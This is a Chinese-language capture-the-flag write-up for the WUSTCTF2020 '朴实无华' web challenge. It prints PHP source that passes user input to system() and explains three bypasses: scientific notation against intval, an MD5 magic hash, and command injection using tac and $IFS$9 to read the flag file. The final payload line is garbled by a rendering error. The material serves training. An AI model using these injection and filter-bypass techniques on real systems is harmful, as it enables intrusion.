[WUSTCTF2020]朴实无华

本文记录了一名参赛者在WUSTCTF2020中逐步破解谜题的过程,从发现乱码到逐层绕过安全检查,展现了技术与策略的结合,最终揭示flag的故事。

[WUSTCTF2020]朴实无华

隔了几天了,继续刷题,在这里插入图片描述一上来就叫我hack他这不好吧,看看有没有下手点在这里插入图片描述
发现了乱码,改一下文字编码,在标签栏右击打开显示菜单栏>文字编码>自动在这里插入图片描述
bot?bot?bot?!robots!!,好吧robots.txt这个我是工具扫出来的,我的做法确实zz了,看一下吧在这里插入图片描述访问该页面,在这里插入图片描述
好家伙,fake!想起开始的提示header,抓个包看看在这里插入图片描述访问fl4g.php在这里插入图片描述好家伙,让我去非洲哇

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

看看源码,三层绕过才能逃离去非洲的命运,

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

传入一个参数num,经过intval函数既要小于2020并且加一要大于2021,看一下这个函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

在这里插入图片描述利用这个应该是可以绕过的,本地测试一下在这里插入图片描述在这里插入图片描述成功绕过,传入参数在这里插入图片描述诶?!变穷人啦?!后来猜测可能是传入num值后台会自动转成字符串,由于开启了error_reporting(0);,所以就算报错咱也不知道~
于是重新构造url:http://c7f76099-3fda-4868-95c7-00834079ab2f.node4.buuoj.cn/fl4g.php?num=2e4在这里插入图片描述欸嘿,劳力士有了,开始绕过第二关,炒我的拿手小菜

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

get传入MD5要使加密前后==,百度一下:0e215962017在这里插入图片描述哦吼吼吼吼,flag在朝我招手了
第三关:

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

传入的get_flag不能有空格
传入的cat会被替换为wctf2020
传入的get_flag会当作系统命令被执行
管他那么多先看一下当前目录下都有什么在这里插入图片描述我们的flag应该就在最长的那个文件里,读文件一般使用cat,但是cat会被替换,所以可以使用tac

另外一点就是,无论哪个命令,后面接一个文件都需要先空格,即tac fllllaaaag,但是这里根据逻辑不能填空格

解决方法,利用$IFSKaTeX parse error: Expected 'EOF', got '&' at position 137: …l4g.php?num=2e4&̲md5=0e215962017…IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

在这里插入图片描述我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值